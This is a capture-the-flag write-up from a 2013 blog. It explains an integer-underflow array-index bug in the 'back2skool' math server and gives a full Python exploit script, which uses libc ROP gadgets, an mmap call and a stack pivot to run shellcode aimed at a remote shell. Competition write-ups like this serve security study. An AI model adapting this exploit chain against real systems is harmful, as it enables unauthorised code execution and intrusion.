Wednesday, February 20, 2013

Ghost in the Shellcode: back2skool Writeup

This challenge ended up having a very cool solution. After reading some other writeups, this could have had a simpler solution, but I thought that ours was cool enough that it was worth a writeup. While we didn't land this exploit against the game server (we couldn't figure out the correct version of libc), we got 100% remote shell reliability against a local server we were running (with ubuntu).

So what did this program do? The purpose of the given binary was to a simple math program, shown below.
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

Commands:
        read    Read value from given index in table
        write   Write value to given index in table
        func1   Change operation to addition
        func2   Change operation to multiplication
        math    Perform math operation on table
        exit    Quit and disconnect
This program then, based on the func, would perform manipulations on the data within the given 10-element table. After looking at this in IDA, I was able to determine that the main vulnerability in this program came from the lack of proper bound checking on the array. Neither the read nor write functions checked to see if the input for number to write to was less than 0. Additionally, since the program calculates the real address of the memory spot to write to by doing &values+4*input, we can take advantage of the integer underflow to read or write to anywhere in memory. For example, to overwrite the function pointer of func1/func2, we do the following.
    offset of math_ptr: -2147483634*4 = 56 -> 56/4 = 14 word offset
    This is the correct offset in memory from the values array
So if we write to location -2147483634, then we can write an arbitrary address that the program will call. Unfortunately, there are several hurdles we must still overcome, primarily a non-executable stack and no rwx pages mapped into memory. At this point I wanted to set up a ROP chain that would get me a reverse shell, so I started to play a little ROP golf. Working with libc, I found several useful ROP gadgets that would get me enough space to actually set up a ROP chain.
rop_get_stack_addr = libc_base_addr + 0x0002D71F # offset of mov dword ptr[eax],ecx; ret
xchg_eax_esp = libc_base_addr + 0x0009B019 # offset of xchg eax,esp; ret
mov_ecx_eax = libc_base_addr + 0x000ebe50 # offset of mov eax,ecx; pop; ret
add_eax = libc_base_addr + 0x0011087A # offset of add eax, 0xC; ret
add_esp = libc_base_addr + 0x0007F8F2 # offset of add esp, 0x20; pop; pop; ret
When the program calls the function pointer, eax contains a pointer to our values array. This meant that I could perform the following tasks.
 1. Read an arbitrary stack address so that I knew where the stack was
 2. Write an awesome ROP chain to the stack
 3. Return to the values array, where I set up eax to have the value of a stack address
 4. Return to my ROP chain on the stack
 5. Return to my shellcode in my newly mapped rwx area 
Without further ado, here is my winning python script.
################################################
#   Author: suntzu_II - GitS 2013 back2skool   #
################################################

from SocketInteract import *
import struct, socket, pexpect

def getSignedHex(str_in):
    return hex(((abs(int(str_in)) ^ 0xFFFFFFFF) + 1) & 0xFFFFFFFF).replace('L','')

def getSignedInt(hex_in):
    if hex_in > 0x7FFFFFFF:
        hex_in = -(0xFFFFFFFF-hex_in+1)
    return hex_in

s = socket.socket()
s.connect(('back2skool.2013.ghostintheshellcode.com', 31337))

p = SocketInteract(s)
p.expect('disconnect\n')

# This is an arbitrary function that writes to memory addresses
def writeToMemory(addr, int_data):
    int_data = getSignedInt(int_data)
    p.sendLine('write')
    p.expect('to:\n')
    p.sendLine(str(addr))
    p.expect('write:\n')
    p.sendLine(str(int_data))

# This is an arbitrary function that reads from memory addresses and returns the data
def readFromMemory(addr):
    p.sendLine('read')
    p.expect('from:\n')
    p.sendLine(str(addr))
    p.expect(str(addr) + ': ')
    data,tmp = p.expect('\n')
    return data

# Find these commands with `objdump -T /path/to/libc | grep func`
##################################
### Modify these based on libc ###
##################################
send_off = 0x000f07c0 # libc offset of send
mmap_off = 0x000eb040 # libc offset of mmap
memccpy_off = 0x0007F610 # libc offset of memccpy

print "Determining libc base address"
full_send_addr = int(readFromMemory(-30).replace('\n',''))
libc_base_addr = full_send_addr - send_off
mmap_addr = libc_base_addr + mmap_off
print "Found libc base:",getSignedHex(libc_base_addr),": mmap lives at:",getSignedHex(mmap_addr)

# Find these commands with the command
# `ROPgadget ./back2skool -intel -only eax`
# change the only as a filter
# Note: ROPgadget doesn't show the pops and rets all the time, but they are there
##################################
### Modify these based on libc ###
##################################
rop_get_stack_addr = libc_base_addr + 0x0002D71F # offset of mov dword ptr[eax],ecx; ret
xchg_eax_esp = libc_base_addr + 0x0009B019 # offset of xchg eax,esp; ret
mov_ecx_eax = libc_base_addr + 0x000ebe50 # offset of mov eax,ecx; pop; ret
add_eax = libc_base_addr + 0x0011087A # offset of add eax, 0xC; ret
add_esp = libc_base_addr + 0x0007F8F2 # offset of add esp, 0x20; pop; pop; ret

rwx_area = 0x40000000 # The address that we will map as rwx

print "Getting a stack address through a ROP gadget"
writeToMemory(-2147483634, rop_get_stack_addr)
p.sendLine('math')

stack_addr = int(readFromMemory(0))
stack_addr += 0x54 # The actual address where I am writing

# This is the word offset between the stack and our values array
diff = (stack_addr-0x0804C040)/4

print "Putting ROP chain in memory at",getSignedHex(stack_addr)
print 'Writing mmap call to the stack. mmap:',getSignedHex(mmap_addr)
writeToMemory(diff, mmap_addr)
writeToMemory(diff+1, add_esp) # return addr - add esp 0x20,pop,pop,ret
writeToMemory(diff+2, rwx_area) # buf
writeToMemory(diff+3, 4096) # size
writeToMemory(diff+4, 7) # flags (rwx)
writeToMemory(diff+5, 0x32) # MAP_FIXED | MAP_ANONYMOUS
writeToMemory(diff+6, -1) # fildes
writeToMemory(diff+7, 0) # offset

# dead space
writeToMemory(diff+8,0xdeaddead)

sc = open('sc','rb').read()

memccpy_addr = libc_base_addr + memccpy_off
print 'Writing memccpy call to the stack. memccpy:',getSignedHex(memccpy_addr)
writeToMemory(diff+10, memccpy_addr)
writeToMemory(diff+11, rwx_area) # Return address
writeToMemory(diff+12, rwx_area) # dest
writeToMemory(diff+13, 0x0804C040+(diff+16)*4) # src
writeToMemory(diff+14, 0xFF) # stop char
writeToMemory(diff+15, len(sc)) # len

print 'Writing shellcode to the stack'
i = 0
for i in xrange(len(sc)/4):
    num = ''
    num += hex(ord(sc[i*4+3:i*4+4]))[2:].zfill(2)
    num += hex(ord(sc[i*4+2:i*4+3]))[2:].zfill(2)
    num += hex(ord(sc[i*4+1:i*4+2]))[2:].zfill(2)
    num += hex(ord(sc[i*4:i*4+1]))[2:].zfill(2)
    writeToMemory(diff + 16 + i, int(num,16))

writeToMemory(diff + 17 + i, 0x00000000) # End the shellcode with a null pointer

# This is the pivot through the values array into the stack
writeToMemory(0, mov_ecx_eax)
writeToMemory(1, add_eax)
writeToMemory(2, add_eax)
writeToMemory(3, add_eax)
writeToMemory(4, add_eax)
writeToMemory(5, add_eax)
writeToMemory(6, add_eax)
writeToMemory(7, add_eax)
writeToMemory(8, add_eax)
writeToMemory(9, xchg_eax_esp)

# Overwrite the func ptr to return to the values area
writeToMemory(-2147483634, xchg_eax_esp)

print "Executing ROP chain"
p.sendLine('math')
I didn't get a flag during the competition because I didn't have the correct libc offsets. Barring that, however, it is still a very cool challenge and I had a lot of fun with it.

- suntzu_II

No comments:

Post a Comment